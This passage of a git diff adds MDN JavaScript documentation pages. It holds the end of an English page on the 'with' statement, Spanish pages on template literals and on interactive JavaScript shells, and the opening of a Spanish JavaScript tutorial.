+<div class="note">Using <code>with</code> is not recommended, and is forbidden in ECMAScript 5 <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode" title="JavaScript/Strict mode">strict mode</a>. The recommended alternative is to assign the object whose properties you want to access to a temporary variable.</div>
+
+<h3 id="Performance_pro_contra">Performance pro &amp; contra</h3>
+
+<p><strong>Pro:</strong> The <code>with</code> statement can help reduce file size by reducing the need to repeat a lengthy object reference without performance penalty. The scope chain change required by 'with' is not computationally expensive. Use of 'with' will relieve the interpreter of parsing repeated object references. Note, however, that in many cases this benefit can be achieved by using a temporary variable to store a reference to the desired object.</p>
+
+<p><strong>Contra:</strong> The <code>with</code> statement forces the specified object to be searched first for all name lookups. Therefore all identifiers that aren't members of the specified object will be found more slowly in a 'with' block. Where performance is important, 'with' should only be used to encompass code blocks that access members of the specified object.</p>
+
+<h3 id="Ambiguity_contra">Ambiguity contra</h3>
+
+<p><strong>Contra:</strong> The <code>with</code> statement makes it hard for a human reader or JavaScript compiler to decide whether an unqualified name will be found along the scope chain, and if so, in which object. So given this example:</p>
+
+<pre class="brush: js">function f(x, o) {
+  with (o)
+    print(x);
+}</pre>
+
+<p>Only when <code>f</code> is called is <code>x</code> either found or not, and if found, either in <code>o</code> or (if no such property exists) in <code>f</code>'s activation object, where <code>x</code> names the first formal argument. If you forget to define <code>x</code> in the object you pass as the second argument, or if there's some similar bug or confusion, you won't get an error -- just unexpected results.</p>
+
+<p><strong>Contra: </strong>Code using <code>with</code> may not be forward compatible, especially when used with something else than a plain object. Consider this example:</p>
+
+<div>
+<pre class="brush:js">function f(foo, values) {
+    with (foo) {
+        console.log(values)
+    }
+}
+</pre>
+
+<p>If you call <code>f([1,2,3], obj)</code> in an ECMAScript 5 environment, then the <code>values</code> reference inside the <code>with</code> statement will resolve to <code>obj</code>. However, ECMAScript 6 introduces a <code>values</code> property on <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype">Array.prototype</a></code> (so that it will be available on every array). So, in a JavaScript environment that supports ECMAScript 6, the <code>values</code> reference inside the <code>with</code> statement will resolve to <code>[1,2,3].values</code>.</p>
+</div>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_with">Using <code>with</code></h3>
+
+<p>The following <code>with</code> statement specifies that the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math" title="JavaScript/Reference/Global_Objects/Math"><code>Math</code></a> object is the default object. The statements following the <code>with</code> statement refer to the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/PI" title="JavaScript/Reference/Global_Objects/Math/PI"><code>PI</code></a> property and the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/cos" title="JavaScript/Reference/Global_Objects/Math/cos"><code>cos</code></a> and <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sin" title="JavaScript/Reference/Global_Objects/Math/sin"><code>sin</code></a> methods, without specifying an object. JavaScript assumes the <code>Math</code> object for these references.</p>
+
+<pre class="brush:js">var a, x, y;
+var r = 10;
+
+with (Math) {
+  a = PI * r * r;
+  x = r * cos(PI);
+  y = r * sin(PI / 2);
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-with-statement', 'with statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.10', 'with statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Now forbidden in strict mode.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12.10', 'with statement')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12.10', 'with statement')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Statements/block", "block")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">Strict mode</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/template_strings/index.html b/files/es/web/javascript/referencia/template_strings/index.html
new file mode 100644
index 0000000000..708c879383
--- /dev/null
+++ b/files/es/web/javascript/referencia/template_strings/index.html
@@ -0,0 +1,314 @@
+---
+title: Plantillas literales (plantillas de cadenas)
+slug: Web/JavaScript/Referencia/template_strings
+tags:
+  - ECMAScript 2015
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Template_literals
+---
+<div>{{JsSidebar("More")}}</div>
+
+<p>Las plantillas literales son cadenas literales que habilitan el uso de expresiones incrustadas. Con ellas, es posible utilizar cadenas de caracteres de más de una línea, y funcionalidades de interpolación de cadenas de caracteres.</p>
+
+<p>En ediciones anteriores de la especificación ES2015, solían llamarse "plantillas de cadenas de caracteres".</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">`texto de cadena de caracteres`
+
+`línea 1 de la cadena de caracteres
+ línea 2 de la cadena de caracteres`
+
+`texto de cadena de caracteres ${expresión} texto adicional`
+
+<em>etiqueta</em>`texto de cadena de caracteres ${expresión} texto adicional`
+</pre>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>Las plantillas literales se delimitan con el caracter de comillas o tildes invertidas (` `) (<a href="http://en.wikipedia.org/wiki/Grave_accent">grave accent</a>), en lugar de las comillas sencillas o dobles.</p>
+
+<p>Las plantillas de cadena de caracteres pueden contener marcadores, identificados por el signo de dólar y envueltos en llaves (<code>${expresión}</code>). Las expresiones contenidas en los marcadores, junto con el texto entre ellas, son enviados como argumentos a una función.</p>
+
+<p>La función por defecto sencillamente concatena las partes para formar una única cadena de caracteres. Si hay una expresión antes de la plantilla literal (aquí indicada mediante <em><code>etiqueta</code></em>), se le conoce como "plantilla etiquetada". En este caso, la expresión de etiqueta (típicamente una función) es llamada con la plantilla literal como parámetro, que luego puede ser manipulada antes de ser devuelta.</p>
+
+<p>En caso de querer escapar una comilla o tilde invertida en una plantilla literal, se debe poner una barra invertida (<code>\</code>) antes de la comilla o tilde invertida.</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="template-string token"><span class="string token">`\``</span></span> <span class="operator token">===</span> <span class="string token">'`'</span> <span class="comment token">// --&gt; true (cierto)</span></code></pre>
+
+<h3 id="Cadenas_de_más_de_una_línea">Cadenas de más de una línea</h3>
+
+<p>Los caracteres de fin de línea encontrados forman parte de la plantilla literal.</p>
+
+<p>Utilizando cadenas de caracteres normales, sería necesario utilizar la siguiente sintaxes para producir cadenas de más de una línea:</p>
+
+<pre class="brush: js notranslate">console.log('línea 1 de cadena de texto\n' +
+'\línea 2 de cadena de texto');
+// "línea 1 de cadena de texto
+// línea 2 de cadena de texto"
+</pre>
+
+<p>Utilizando plantillas literales, se puede obtener el mismo resultado de la siguiente forma:</p>
+
+<pre class="brush: js notranslate">console.log(`línea 1 de la cadena de texto
+línea 2 de la cadena de texto`);
+// "línea 1 de la cadena de texto
+// línea 2 de la cadena de texto"</pre>
+
+<h3 id="Interpolación_de_expresiones">Interpolación de expresiones</h3>
+
+<p>Para insertar expresiones dentro de cadenas de caracteres normales, se utilizaría la siguiente sintaxis:</p>
+
+<pre class="brush: js notranslate">let a = 5;
+let b = 10;
+console.log('Quince es ' + (a + b) + ' y\nno ' + (2 * a + b) + '.');
+// "Quince es 15 y
+// no 20."</pre>
+
+<p>Ahora, con las plantillas literales, se pueden utilizar sus nuevas capacidades (es decir, insertar expresiones con <code>${ }</code> e incluir caracteres de fin de linea literales dentro de la cadena) para simplificar la sintaxis:</p>
+
+<pre class="brush: js notranslate">let a = 5;
+let b = 10;
+console.log(`Quince es ${a + b} y
+no ${2 * a + b}.`);
+// "Quince es 15 y
+// no 20."</pre>
+
+<h3 id="Anidamiento_de_plantillas">Anidamiento de plantillas</h3>
+
+<p>En ciertos casos, anidar una plantilla es la forma más fácil, e incluso más legible, de tener cadenas configurables. Dentro de una plantilla con tildes invertidas, es sencillo permitir tildes invertidas interiores simplemente usándolas dentro de un marcador de posición <code>${ }</code> dentro de la plantilla.</p>
+
+<p>Por ejemplo, si la condición a es <code>true</code> (cierta): entonces <code>return</code> (devuelva) este literal con plantilla.</p>
+
+<p>En ES5:</p>
+
+<pre class="brush: js notranslate"><code class="language-js">let classes <span class="operator token">=</span> <span class="string token">'header'</span>
+classes <span class="operator token">+</span><span class="operator token">=</span> <span class="punctuation token">(</span><span class="function token">isLargeScreen</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">?</span>
+   <span class="string token">''</span> <span class="punctuation token">:</span> item<span class="punctuation token">.</span>isCollapsed <span class="operator token">?</span>
+     <span class="string token">' icon-expander'</span> <span class="punctuation token">:</span> <span class="string token">' icon-collapser'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>En ES2015 con plantillas literales y sin anidamiento:</p>
+
+<pre class="brush: js notranslate"><code>const classes = `header ${ isLargeScreen() ? '' :
+    (item.isCollapsed ? 'icon-expander' : 'icon-collapser') }`;</code></pre>
+
+<p>En ES5 con plantillas literales anidadas:</p>
+
+<pre class="brush: js notranslate"><code>const classes = `header ${ isLargeScreen() ? '' :
+ `icon-${item.isCollapsed ? 'expander' : 'collapser'}` }`;</code></pre>
+
+<h3 id="Plantillas_etiquetadas">Plantillas etiquetadas</h3>
+
+<p>Una forma más avanzada de plantillas literales son las plantillas <em>etiquetadas</em>.</p>
+
+<p>Con ellas es posible modificar la salida de las plantillas utilizando una función. El primer argumento contiene un array con una o más cadenas de caracteres. El segundo y subsiguientes argumentos se asocian con las expresiones de la plantilla.</p>
+
+<p>La función de etiqueta puede ejecutar cualesquiera operaciones deseadas con estos argumentos, y luego devolver la cadena manipulada. (También puede devolver algo totalmente distinto, como se muestra en uno de los siguientes ejemplos.)</p>
+
+<p>El nombre de la función utilizada con la etiqueta no es nada especial, se puede utilizar cualquier nombre de función en su lugar.</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js">let persona <span class="operator token">=</span> <span class="string token">'Mike'</span><span class="punctuation token">;</span>
+let edad <span class="operator token">=</span> <span class="number token">28</span><span class="punctuation token">;</span>
+
+<span class="keyword token">function</span> <span class="function token">myTag</span><span class="punctuation token">(</span>strings<span class="punctuation token">,</span> expPersona<span class="punctuation token">,</span> expEdad<span class="punctuation token">)</span>
+<span class="punctuation token">{</span>
+  let str0 <span class="operator token">=</span> strings<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">;</span> <span class="comment token">// "Ese "</span>
+  let str1 <span class="operator token">=</span> strings<span class="punctuation token">[</span><span class="number token">1</span><span class="punctuation token">]</span><span class="punctuation token">;</span> <span class="comment token">// " es un "</span>
+
+  <span class="comment token">// Tecnicamente, hay una cadena de
+  // caracteres después de la expresión
+  // final (en nuestro ejemplo) pero
+  // está vacia (""), asi que se ignora.</span>
+  <span class="comment token">// let str2 = strings[2];</span>
+
+  let strEdad<span class="punctuation token">;</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(expEdad</span> <span class="operator token">&gt;</span> <span class="number token">99</span><span class="punctuation token">)</span>
+<span class="punctuation token">  {</span>
+    strEdad <span class="operator token">=</span> <span class="string token">'viejo'</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">else</span>
+  <span class="punctuation token">{</span>
+    strEdad <span class="operator token">=</span> <span class="string token">'joven'</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="comment token">// Podemos incluso retornar una cadena de
+  // caracteres utilizando una plantilla literal.</span>
+  <span class="keyword token">return</span> <span class="template-string token"><span class="string token">`</span><span class="interpolation token"><span class="interpolation-punctuation punctuation token">${</span>str0<span class="interpolation-punctuation punctuation token">}</span></span><span class="interpolation token"><span class="interpolation-punctuation punctuation token">${expPersona</span><span class="interpolation-punctuation punctuation token">}</span></span><span class="interpolation token"><span class="interpolation-punctuation punctuation token">${</span>str1<span class="interpolation-punctuation punctuation token">}</span></span><span class="interpolation token"><span class="interpolation-punctuation punctuation token">${</span>strEdad<span class="interpolation-punctuation punctuation token">}</span></span><span class="string token">`</span></span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">var</span> salida <span class="operator token">=</span> myTag<span class="template-string token"><span class="string token">`Ese </span><span class="interpolation token"><span class="interpolation-punctuation punctuation token">${</span> persona <span class="interpolation-punctuation punctuation token">}</span></span><span class="string token"> es un </span><span class="interpolation token"><span class="interpolation-punctuation punctuation token">${</span> edad <span class="interpolation-punctuation punctuation token">}</span></span><span class="string token">`</span></span><span class="punctuation token">;</span>
+
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>salida<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// Ese Mike es un joven</span></code>
+</pre>
+
+<p>Las funciones de etiqueta incluso pueden devolver valores que no sean cadenas de caracteres:</p>
+
+<pre class="brush: js notranslate">function plantilla(cadenas, ...claves) {
+  return (function(...valores) {
+    let diccio = valores[valores.length - 1] || {};
+    let resultado = [cadenas[0]];
+    claves.forEach(function(clave, i) {
+      let valor = Number.isInteger(clave) ? valores[clave] : diccio[clave];
+      resultado.push(valor, cadenas[i + 1]);
+    });
+    return resultado.join('');
+  });
+}
+
+let t1Closure = plantilla`¡${0}${1}${2}${2}${3}!`;
+//let t1Closure = plantilla(["¡","","","","","","!"],0,1,2,3);
+t1Closure('H', 'U', 'R', 'A');              // "¡HURRA!"
+
+let t2Closure = plantilla`${0} ${'foo'}!`;
+//let t2Closure = plantilla(["¡",""," ","!"],0,"foo");
+t2Closure('Hola', {foo: 'Mundo'}); // "¡Hola Mundo!"
+
+let t3Closure = plantilla`Me llamo ${'nombre'}. Tengo casi ${'edad'} años.`;
+//let t3Closure = plantilla(["Me llamo ", ". Tengo casi ", " años."], "nombre", "edad");
+t3Closure('foo', {nombre: 'MDN', edad: 30}); //"Me llamo MDN. Tengo casi 30 años."
+t3Closure({nombre: 'MDN', edad: 30}); //"Me llamo MDN. Tengo casi 30 años."</pre>
+
+<h3 id="Cadenas_en_crudo_raw">Cadenas en crudo (<em>raw</em>)</h3>
+
+<p>La propiedad especial <code>raw</code>, disponible en el primer argumento de la función de etiqueta, permite acceso a las cadenas de caracteres tal como fueron ingresadas, sin procesar <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Guide/Grammar_and_types#Literales_String">secuencias de escape</a>.</p>
+
+<pre class="brush: js notranslate">function etiqueta(cadenas) {
+  console.log(cadenas.raw[0]);
+}
+
+etiqueta`texto de cadena de caracteres 1 \n texto de cadena de caracteres 2`;
+// muestra "texto de cadena de caracteres 1 \n texto de cadena de caracteres 2" ,
+// incluyendo los caracteres '\' y 'n'</pre>
+
+<p>Adicionalmente, el método {{jsxref("String.raw()")}} permite crear cadenas de caracteres en crudo tal como serían generadas por la función por defecto de plantilla, concatenando sus partes.</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js">let cadena <span class="operator token">=</span> String<span class="punctuation token">.</span>raw<span class="template-string token"><span class="string token">`¡Hola\n</span><span class="interpolation token"><span class="interpolation-punctuation punctuation token">${</span><span class="number token">2</span><span class="operator token">+</span><span class="number token">3</span><span class="interpolation-punctuation punctuation token">}</span></span><span class="string token">!`</span></span><span class="punctuation token">;</span>
+<span class="comment token">// "¡Hola\n5!"</span>
+
+cadena<span class="punctuation token">.</span>length<span class="punctuation token">;</span>
+<span class="comment token">// 9
+
+</span>Array.from(cadena).join(',');
+// "</code>¡,<code class="language-js">H,o,l,a,\,n,5,!"</code>
+</pre>
+
+<h3 id="Plantillas_etiquetadas_y_secuencias_de_escape">Plantillas etiquetadas y secuencias de escape</h3>
+
+<h4 id="Comportamiento_en_ES2016">Comportamiento en ES2016</h4>
+
+<p>Comenzando con ECMAScript 2016, las plantillas etiquetadas se comportan de acuerdo con las normas de las siguientes secuencias de escape:</p>
+
+<ul>
+ <li>Secuencias de escape de formato Unicode comenzando con "<code>\u</code>", como <code>\u00A9</code></li>
+ <li>Secuencias de escape de formato Unicode de punto de código, indicadas con "<code>\u{}</code>", como <code>\u{2F804}</code></li>
+ <li>Secuencias de escape de numeros hexadecimales comenzando con "<code>\x</code>", como <code>\xA9</code></li>
+ <li>Secuencias de escape de octales literales comenzando con "<code>\0o</code>" seguidas de uno o más dígitos, como <code>\0o251</code></li>
+</ul>
+
+<p>Esto significa que una plantilla etiquetada como la siguiente podría causar problemas, dado que, de acuerdo con la gramática de ECMAScript, un analizador buscará secuencias de escape de formato Unicode válidas pero encontrará sintaxis equivocado:</p>
+
+<pre class="brush: js notranslate">latex`\unicode`
+// En ECMAScript 2016 y versiones anteriores, lanza
+// SyntaxError: malformed Unicode character escape sequence</pre>
+
+<h3 id="Revision_de_secuencias_de_escape_no_permitidas_en_ES2018">Revision de secuencias de escape no permitidas en ES2018</h3>
+
+<p>Las plantillas etiquetadas deberías permitir la inserción de lenguages (como los <a href="https://en.wikipedia.org/wiki/Domain-specific_language">DSL</a>, o <a href="https://en.wikipedia.org/wiki/LaTeX">LaTeX</a>), en donde otras secuencias de escape se ven comúnmente. La propuesta para ECMAScript <a href="https://tc39.es/proposal-template-literal-revision/">Template Literal Revision</a> (Revisión de Plantilla Literal) (Cuarta Etapa, en camino a ser integrada al estándar de ECMAScript 2018) elimina la restricción de las secuencias de escape en ECMAScript para las plantillas etiquetadas.</p>
+
+<p>Aún así, las secuencias de escape no permitidas deben ser representadas en la representación "cocinada" de la cadena. Aparecerán como elementos <a href="https://developer.mozilla.org/es/docs/Glossary/undefined">no definidos</a> en el array llamado "cocinado" en el siguiente ejemplo.</p>
+
+<pre class="brush: js notranslate">function latex(str) {
+  return { "cocinado": str[0], "en crudo": str.raw[0] }
+}
+
+latex`\unicode`
+
+// { cocinado: undefined, en crudo: "\\unicode" }</pre>
+
+<p>Cabe destacar que la restricción para secuencias de escape solo ha sido eliminada para plantillas <em>etiquetadas</em>. Aún permanece para plantillas literales sin etiqueta:</p>
+
+<pre class="brush: js example-bad notranslate">let bad = `bad escape sequence: \unicode`;</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-template-literals', 'Template Literals')}}<br>
+    {{SpecName('ES6', '#sec-tagged-templates', 'Tagged Templates')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funcionalidad</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome(41)}}</td>
+   <td>{{CompatGeckoDesktop("34")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(29)}}</td>
+   <td>{{CompatSafari(9.1)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funcionalidad</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Soporte básico</span></td>
+   <td>{{CompatAndroid(67)}}</td>
+   <td>
+    <p class="p1">{{CompatChrome(71)}}</p>
+   </td>
+   <td>{{CompatGeckoMobile("63")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(46)}}</td>
+   <td>{{CompatSafari(9)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+ <li>{{jsxref("String.raw()")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">Lexical grammar</a></li>
+ <li><a href="https://gist.github.com/WebReflection/8f227532143e63649804">Template-like strings in ES3 compatible syntax</a></li>
+</ul>
diff --git a/files/es/web/javascript/shells/index.html b/files/es/web/javascript/shells/index.html
new file mode 100644
index 0000000000..ac0e6f3443
--- /dev/null
+++ b/files/es/web/javascript/shells/index.html
@@ -0,0 +1,41 @@
+---
+title: JavaScript shells
+slug: Web/JavaScript/Shells
+translation_of: Web/JavaScript/Shells
+---
+<div>{{JsSidebar}}</div>
+
+<p>Un shell(*) JavaScript te permite probar rápidamente fragmentos de código <a href="/es/docs/Web/JavaScript">JavaScript</a> si tener que recargar un sitio web. Éstos son extremadamente útiles para desarrollar y depurar código.</p>
+
+<p>*[N. del T.: Un "shell" es una ventana que muestra texto para ejecutar un comando; o en el caso de un lenguaje de programación, funciones en forma de texto, y el resultado se muestra también en formato de texto].</p>
+
+<h2 id="Shells_JavaScript_autónomas">Shells JavaScript autónomas</h2>
+
+<p>Las siguientes shells JavaScript son de entorno autónomos, como perl o python.</p>
+
+<ul>
+ <li><a href="http://nodejs.org/">Node.js</a> - Node.js es una plataforma para construir fácilmente aplicaciones de red rápidas y escalables.</li>
+ <li><a class="external" href="http://www.jsdb.org/">JSDB</a> - Una shell JavaScript autónoma, con binarios compilados para Windows, Mac, y Linux.</li>
+ <li><a class="external" href="http://javalikescript.free.fr/">JavaLikeScript</a> - Una shell JavaScript autónoma y extensible e incluye bibliotecas nativas y JavaScript.</li>
+ <li><a class="external" href="http://gluescript.sourceforge.net/">GLUEscript</a> - Una shell JavaScript autónoma para escribir aplicaciones JavaScript multiplataforma. Se puede usar wxWidgets para aplicaciones GUI (del inglés "Interfaces Gráficas de Usuario"), que era conocido anteriormente como wxJavaScript.</li>
+ <li><a class="external" href="http://jspl.msg.mx/">jspl</a> - Una shell JavaScript autónoma A standalone JavaScript shell mejorada por Perl. Puede usar módulos perl directamente desde JavaScript: DBI para integración de bases de datos, GTK2 para aplicaciones GUI, POSIX para programación de sistemas, etc. Lo mejor de CPAN ahoa para programadores JavaScript.</li>
+ <li><a class="external" href="http://shelljs.org">ShellJS</a> - Comandos de shell Unix portátiles para Node.js</li>
+</ul>
+
+<h2 id="Listas_de_shells_JavaScript">Listas de shells JavaScript</h2>
+
+<p>Las siguientes shells JavaScript funcionan con Mozilla.</p>
+
+<ul>
+ <li>Firefox tiene una consola JavaScript incorporada, llamada <a href="/en-US/docs/Tools/Scratchpad">Scratchpad</a>, iniciando en la versión 6.</li>
+ <li><a href="/en-US/docs/Mozilla/Projects/SpiderMonkey/Introduction_to_the_JavaScript_shell">JavaScript Shell</a> (<code>js</code>) - Un intérprete de líneas de comandos para JavaScript</li>
+ <li><a href="/en-US/docs/Mozilla/XPConnect/xpcshell">xpcshell</a> es un shell <a href="/en-US/docs/Mozilla/Tech/XPCOM/Language_bindings/XPConnect">XPConnect</a> habilitado, útil a veces para el desarrollo de Mozilla.</li>
+ <li><a class="external" href="http://jsconsole.com/">jsconsole.com</a> -- Una consola JavaScript de código abierto con la habilidad de enlazar fácilmente expresiones particulares</li>
+ <li><a class="external" href="http://www.squarefree.com/shell/">JavaScript Shell (web page)</a> - también disponible como parte de la  <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/7434">Extensión de Desarrolladores de Extensión</a></li>
+ <li><a class="external" href="http://www.billyreisinger.com/jash/">Jash: JavaScript Shell</a> - una shell basada en DHTML que te da el acceso a líneas de comando a una página web.</li>
+ <li><a class="external" href="http://hyperstruct.net/projects/mozrepl">MozRepl</a> - Conecta a Firefox y otras aplicaciones Mozilla, explora y modifícalas desde adentro, mientras se ejecutan.</li>
+ <li><a class="external" href="https://addons.mozilla.org/en-US/firefox/addon/execute-js/">Execute JS</a> - (Ya no está mantenida) - Extensión de Firefox la cual proporciona una mejorada consola JavaScript, donde puedes cómodamente introducir y ejecutar arbitrariamente código JavaScript y modificar funciones.</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/addon/159546">xqjs</a> - Consola simple para Firefox.</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/firebug/">Firebug</a> - Herramientas de desarrollador para Firefox, incluyendo consola.</li>
+ <li><a href="http://es6console.com">ES6Console.com</a> - Una consola JavaScript de código abierto para probar código ECMAScript 6 dentro del navegador.</li>
+</ul>
diff --git a/files/es/web/javascript/una_re-introducción_a_javascript/index.html b/files/es/web/javascript/una_re-introducción_a_javascript/index.html
new file mode 100644
index 0000000000..b8f2756627
--- /dev/null
+++ b/files/es/web/javascript/una_re-introducción_a_javascript/index.html
@@ -0,0 +1,960 @@
+---
+title: Una reintroducción a JavaScript (Tutorial de JS)
+slug: Web/JavaScript/Una_re-introducción_a_JavaScript
+tags:
+  - Aprender
+  - Guía
+  - Intermedio
+  - Intro
+  - JavaScript
+  - Tutorial
+  - introducción
+translation_of: Web/JavaScript/A_re-introduction_to_JavaScript
+---
+<div>{{jsSidebar}}</div>
+
+
+<p>¿Por qué una reintroducción? Porque {{Glossary("JavaScript")}} es conocido por ser <a href="http://crockford.com/javascript/javascript.html">el lenguaje de programación más incomprendido</a>. A menudo se le ridiculiza como un juguete, pero debajo de esa capa de engañosa simplicidad, aguardan poderosas características del lenguaje. Ahora un increíble número de aplicaciones de alto perfil utilizan JavaScript, lo cual demuestra que un conocimiento más profundo de esta tecnología es una habilidad importante para cualquier desarrollador web o móvil.</p>
+
+<p>Es útil comenzar con una descripción general de la historia del lenguaje. JavaScript fue creado en 1995 por Brendan Eich mientras era ingeniero en Netscape. JavaScript se lanzó por primera vez con Netscape 2 a principios de 1996. Originalmente se iba a llamar LiveScript, pero se le cambió el nombre en una desafortunada decisión de marketing que intentó capitalizar la popularidad del lenguaje Java de Sun Microsystem, a pesar de que los dos tienen muy poco en común. Esto ha sido una fuente de confusión desde entonces.</p>
+
+<p>Varios meses después, Microsoft lanzó JScript con Internet Explorer 3. Era un JavaScript prácticamente compatible. Varios meses después de eso, Netscape envió JavaScript a <a class="external" href="http://www.ecma-international.org/">Ecma International</a>, una organización europea de estándares, que resultó en la primera edición del estándar {{Glossary("ECMAScript")}} ese año. El estándar recibió una actualización significativa como <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript edición 3</a> en 1999, y se ha mantenido bastante estable desde entonces. La cuarta edición fue abandonada debido a diferencias políticas sobre la complejidad del lenguaje. Muchas partes de la cuarta edición formaron la base para la edición 5 de ECMAScript, publicada en diciembre de 2009, y para la sexta edición principal del estándar, publicada en junio de 2015.</p>
+
+<div class="note">
+<p>Debido a que es más familiar, nos referiremos a ECMAScript como "JavaScript" de ahora en adelante.</p>
+</div>
+
+<p>A diferencia de la mayoría de los lenguajes de programación, el lenguaje JavaScript no tiene un concepto de entrada o salida. Está diseñado para ejecutarse como un lenguaje de <code>scripting</code> en un entorno hospedado, y depende del entorno para proporcionar los mecanismos para comunicarse con el mundo exterior. El entorno de alojamiento más común es el navegador, pero también se pueden encontrar intérpretes de JavaScript en una gran lista de otros lugares, incluidos Adobe Acrobat, Adobe Photoshop, imágenes SVG, el motor de widgets de Yahoo, entornos de lado del servidor como <a href="http://nodejs.org/">Node.js</a>, bases de datos NoSQL como <a href="http://couchdb.apache.org/">Apache CouchDB</a> de código abierto, computadoras integradas, entornos de escritorio completos como <a href="http://www.gnome.org/">GNOME</a> (una de las IGU —<em>Interfaz Gráfica de Usuario</em>— más populares para sistemas operativos GNU/Linux), y otros.</p>
+
+<h2 id="Información_general">Información general</h2>
+
